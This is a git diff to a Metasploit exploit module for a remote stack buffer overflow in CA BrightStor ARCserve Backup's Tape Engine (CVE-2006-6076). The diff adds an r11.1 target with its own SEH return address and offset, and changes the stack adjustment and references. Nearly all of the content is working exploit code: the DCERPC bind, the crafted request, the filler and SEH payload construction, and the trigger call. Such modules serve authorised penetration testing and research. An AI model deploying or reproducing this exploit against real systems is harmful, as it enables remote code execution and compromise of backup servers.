diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb
index 08eff4635e..182cd4b733 100644
--- a/modules/exploits/windows/brightstor/tape_engine.rb
+++ b/modules/exploits/windows/brightstor/tape_engine.rb
@@ -1,5 +1,5 @@
 ##
-# $Id:$
+# $Id$
 ##
 
 ##
@@ -24,16 +24,19 @@ class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote
 			'Name'           => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',
 			'Description'    => %q{
 				This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup
-				11.5. By sending a specially crafted DCERPC request, an attacker could overflow the
-				buffer and execute arbitrary code. 
+				r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
+				the buffer and execute arbitrary code. 
 			},
-			'Author'         => [ 'MC' ],
+			'Author'         => [ 'MC', 'patrick' ],
 			'License'        => MSF_LICENSE,
 			'Version'        => '$Revision$',
 			'References'     =>
 				[
 					[ 'CVE', '2006-6076' ],
 					[ 'BID', '21221' ],
+					[ 'OSVDB', '30637' ],
+					[ 'URL', 'http://www.milw0rm.com/exploits/3086' ],
+					[ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ],
 				],
 			'Privileged'     => true,
 			'DefaultOptions' =>
@@ -44,22 +47,23 @@ class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote
 				{
 					'Space'    => 500,
 					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
-					'StackAdjustment' => -3500,
+					'StackAdjustment' => -9500,
 				},
 			'Platform' => 'win',
 			'Targets'  =>
 					[ 
-						[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ],
-					],	
+						[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004
+						[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????
+					],
 			'DisclosureDate' => 'Nov 21 2006',
-			'DefaultTarget' => 0))
+			'DefaultTarget'  => 1))
 
-			register_options([ Opt::RPORT(6502) ], self.class)	
+			register_options([ Opt::RPORT(6502) ], self.class)
 	end
 
 	def exploit
 		connect
-		
+
 		handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
 		print_status("Binding to #{handle} ...")
 
@@ -70,13 +74,13 @@ class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote
 		request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
 
 		dcerpc.call(43, request)
-       
-		filler = "\x10\x09\xf9\x77" + rand_text_english(1132)
+
+		filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])
 		seh    = generate_seh_payload(target.ret)
 		sploit = filler + seh
 
 		print_status("Trying target #{target.name}...")
-         
+
 			begin
 				dcerpc_call(38, sploit)
 				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
@@ -87,4 +91,4 @@ class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote
 	end
 
 end
-end	
+end